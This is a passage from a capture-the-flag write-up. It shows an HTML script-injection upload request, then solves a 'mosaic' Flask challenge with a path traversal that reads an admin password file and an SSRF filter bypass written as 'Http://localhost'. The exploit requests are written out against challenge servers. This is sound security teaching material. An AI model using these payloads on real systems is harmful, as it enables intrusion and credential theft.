------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="content" asdf ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="level" 1 ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="file"; filename="AA\r.html" Content-Type: text/html <script src="/download.php?idx=975"></script> ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="password" benjeddou ------WebKitFormBoundarydFZmSiashN04RJ1C-- ``` The above uploaded file coulod be accessed from: http://58.225.56.195/download.php?idx=976 Reporting the final file to admin will get us the flag using the following link: http://58.225.56.195/report.php?path=download.php&idx=976 ![](https://hackmd.io/_uploads/SylP29WMA3.png) ## Web/mosaic We can upload some image files or zip files to the server. ```python @app.route('/upload', methods=['GET', 'POST']) def upload(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': if 'file' not in request.files: return 'No file part' file = request.files['file'] if file.filename == '': return 'No selected file' filename = os.path.basename(file.filename) guesstype = mimetypes.guess_type(filename)[0] image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename) if type_check(guesstype): file.save(image_path) return render_template("upload.html", image_path = image_path) else: return "Allowed file types are png, jpeg, jpg, zip, tiff.." return render_template("upload.html") ``` We could then access the uploaded file using the `/mosaic` endpoint which will provide a mosaic version of uploade image passing its name in the input. ```python @app.route('/mosaic', methods=['GET', 'POST']) def mosaic(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': image_url = request.form.get('image_url') if image_url and "../" not in image_url and not image_url.startswith("/"): guesstype = mimetypes.guess_type(image_url)[0] ext = guesstype.split("/")[1] mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}') filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url) if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data) apply_mosaic(image, mosaic_path) return render_template("mosaic.html", mosaic_path = mosaic_path) else: return "Plz input image_url or Invalid image_url.." return render_template("mosaic.html") ``` At first having that the flag is at the root of the server. ```python if os.path.exists("/flag.png"): FLAG = "/flag.png" else: FLAG = "/test-flag.png" ``` Following this code, we were trying to upload a zip file containing a symlink to `/flag.png` and then access it with the following syntax that imageio.imread supports we thought: "./file.zip/flag.png" or "./file.zip#flag.png". But that didn't work. ![](https://hackmd.io/_uploads/SkV39QMCn.png) However there is a path traversal on the `/check_upload/` endpoint (an endpoint that would read any file). ```python @app.route('/check_upload/@<username>/<file>') def check_upload(username, file): if not session.get('logged_in'): return redirect(url_for('login')) if username == "admin" and session["username"] != "admin": return "Access Denied.." else: return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file) ``` Using the path traversal and knowing that the admin password is stored in `../uploads/password.txt` we could pass in a username of `../` and the file `password.txt` to read it: http://58.229.185.52:9999/check_upload/@../password.txt The password was: `2c3c519aa578fed9391ba8e1d40ce746412970ed7088be40b2046f28047a611f`. Now we can login as admin! If we access the root of the website being admin and from localhost the server will copy the flag into admin user directory. ```python if session.get('username') == "admin" and request.remote_addr == "127.0.0.1": copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png') ``` Then the `/mosaic` endpoint seems to have a blind SSRF. ```python if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data) ``` The check for `startswith("http://")` could be bypassed using `Http://` as a protcol. So we could use that SSRF to copy flag image into admin directory using: Http://localhost:9999/#test.png the `test.png` is used to bypass file type check for images. The flag is then placed to current directory however it will get deteled after some seconds. Being lazy, I haven't scripted anything but I opened another tab with the url http://58.229.185.52:9999/check_upload/@admin/flag.png and after letting admin enter root of website I would go to that tab quickly and hit enter to get the flag ![](https://hackmd.io/_uploads/rk0XSNf0n.png) Then using an iphone to quickly dump text from image and submit the flag :joy: